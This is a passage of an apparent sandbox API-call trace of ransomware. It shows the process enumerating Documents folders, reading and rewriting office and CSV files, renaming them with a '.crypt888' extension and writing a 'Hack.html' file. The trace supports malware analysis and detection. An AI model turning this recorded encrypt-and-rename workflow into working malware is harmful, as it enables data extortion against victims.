halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.crypt888")) returned 1 [0082.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\Hack.html", lpFilePart=0x0) returned 0x3f [0082.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.525] GetFileType (hFile=0x174) returned 0x1 [0082.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.525] GetFileType (hFile=0x174) returned 0x1 [0082.525] WriteFile (in: hFile=0x174, lpBuffer=0x287dfd0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x287dfd0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.526] CloseHandle (hObject=0x174) returned 1 [0082.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h", lpFilePart=0x0) returned 0x30 [0082.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\", lpFilePart=0x0) returned 0x31 [0082.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1e8 [0082.527] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.527] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0082.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h", lpFilePart=0x0) returned 0x30 [0082.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\", lpFilePart=0x0) returned 0x31 [0082.528] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1e8 [0082.528] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.528] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.528] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.528] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.529] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.529] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.529] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0082.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt", lpFilePart=0x0) returned 0x48 [0082.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\eqjsffk dwks9jixw8p.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.529] GetFileType (hFile=0x174) returned 0x1 [0082.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.529] GetFileType (hFile=0x174) returned 0x1 [0082.529] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x7ab8 [0082.529] ReadFile (in: hFile=0x174, lpBuffer=0x28812ec, nNumberOfBytesToRead=0x7ab8, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28812ec*, lpNumberOfBytesRead=0x39ed24*=0x7ab8, lpOverlapped=0x0) returned 1 [0082.530] CloseHandle (hObject=0x174) returned 1 [0082.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt", lpFilePart=0x0) returned 0x48 [0082.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\eqjsffk dwks9jixw8p.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.590] GetFileType (hFile=0x174) returned 0x1 [0082.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.590] GetFileType (hFile=0x174) returned 0x1 [0082.590] WriteFile (in: hFile=0x174, lpBuffer=0x26fcba4*, nNumberOfBytesToWrite=0x7ac0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x26fcba4*, lpNumberOfBytesWritten=0x39ed14*=0x7ac0, lpOverlapped=0x0) returned 1 [0082.591] CloseHandle (hObject=0x174) returned 1 [0082.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt", lpFilePart=0x0) returned 0x48 [0082.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt.crypt888", lpFilePart=0x0) returned 0x51 [0082.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\eqjsffk dwks9jixw8p.odt"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67c91c0, ftCreationTime.dwHighDateTime=0x1d460f8, ftLastAccessTime.dwLowDateTime=0xd341a0e0, ftLastAccessTime.dwHighDateTime=0x1d45a89, ftLastWriteTime.dwLowDateTime=0xc26d9a00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7ac0)) returned 1 [0082.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.593] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\eqjsffk dwks9jixw8p.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\eqJsFfK DWKS9jIXW8P.odt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\eqjsffk dwks9jixw8p.odt.crypt888")) returned 1 [0082.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx", lpFilePart=0x0) returned 0x47 [0082.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\ookfstizx7pf7iba2.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.594] GetFileType (hFile=0x174) returned 0x1 [0082.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.594] GetFileType (hFile=0x174) returned 0x1 [0082.594] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x2000 [0082.594] ReadFile (in: hFile=0x174, lpBuffer=0x2704af4, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2704af4*, lpNumberOfBytesRead=0x39ed24*=0x2000, lpOverlapped=0x0) returned 1 [0082.594] CloseHandle (hObject=0x174) returned 1 [0082.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx", lpFilePart=0x0) returned 0x47 [0082.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\ookfstizx7pf7iba2.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.612] GetFileType (hFile=0x174) returned 0x1 [0082.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.612] GetFileType (hFile=0x174) returned 0x1 [0082.612] WriteFile (in: hFile=0x174, lpBuffer=0x275ba64*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x275ba64*, lpNumberOfBytesWritten=0x39ed14*=0x2010, lpOverlapped=0x0) returned 1 [0082.614] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx", lpFilePart=0x0) returned 0x47 [0082.614] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx.crypt888", lpFilePart=0x0) returned 0x50 [0082.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\ookfstizx7pf7iba2.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea59f80, ftCreationTime.dwHighDateTime=0x1d46145, ftLastAccessTime.dwLowDateTime=0xa9d27830, ftLastAccessTime.dwHighDateTime=0x1d461fd, ftLastWriteTime.dwLowDateTime=0xc26ffb60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0082.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.614] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\ookfstizx7pf7iba2.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\OoKFsTIZx7pf7iBA2.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\ookfstizx7pf7iba2.xlsx.crypt888")) returned 1 [0082.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j", lpFilePart=0x0) returned 0x3c [0082.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\", lpFilePart=0x0) returned 0x3d [0082.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0082.616] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.616] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.616] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.616] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.616] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0082.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.617] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j", lpFilePart=0x0) returned 0x3c [0082.617] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\", lpFilePart=0x0) returned 0x3d [0082.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0082.617] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.617] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.618] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.618] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.618] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0082.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.618] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv", lpFilePart=0x0) returned 0x4b [0082.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0082.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\a7y8451gl9.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.619] GetFileType (hFile=0x174) returned 0x1 [0082.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0082.619] GetFileType (hFile=0x174) returned 0x1 [0082.619] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x493a [0082.619] ReadFile (in: hFile=0x174, lpBuffer=0x275fd4c, nNumberOfBytesToRead=0x493a, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x275fd4c*, lpNumberOfBytesRead=0x39ecf0*=0x493a, lpOverlapped=0x0) returned 1 [0082.639] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv", lpFilePart=0x0) returned 0x4b [0082.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0082.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\a7y8451gl9.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.641] GetFileType (hFile=0x174) returned 0x1 [0082.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0082.641] GetFileType (hFile=0x174) returned 0x1 [0082.641] WriteFile (in: hFile=0x174, lpBuffer=0x27c3954*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27c3954*, lpNumberOfBytesWritten=0x39ece0*=0x4940, lpOverlapped=0x0) returned 1 [0082.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv", lpFilePart=0x0) returned 0x4b [0082.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv.crypt888", lpFilePart=0x0) returned 0x54 [0082.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0082.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\a7y8451gl9.csv"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a73810, ftCreationTime.dwHighDateTime=0x1d458c8, ftLastAccessTime.dwLowDateTime=0x7a13fa10, ftLastAccessTime.dwHighDateTime=0x1d45dcf, ftLastWriteTime.dwLowDateTime=0xc274be20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4940)) returned 1 [0082.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0082.643] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\a7y8451gl9.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\a7y8451Gl9.csv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\a7y8451gl9.csv.crypt888")) returned 1 [0082.645] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx", lpFilePart=0x0) returned 0x51 [0082.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0082.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\ry5f63lrxo3kn2d.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.645] GetFileType (hFile=0x174) returned 0x1 [0082.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0082.645] GetFileType (hFile=0x174) returned 0x1 [0082.645] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x177aa [0082.645] ReadFile (in: hFile=0x174, lpBuffer=0x3898b38, nNumberOfBytesToRead=0x177aa, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x3898b38*, lpNumberOfBytesRead=0x39ecf0*=0x177aa, lpOverlapped=0x0) returned 1 [0082.675] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx", lpFilePart=0x0) returned 0x51 [0082.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0082.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tQuGzH9h\\F5UvYfAzy6j\\RY5F63lrXo3Kn2d.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tqugzh9h\\f5uvyfazy6j\\ry5f63lrxo3kn2d.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.677] GetFileType (hFile=0x174) returned 0x1 [0082.677] SetThreadErrorMode 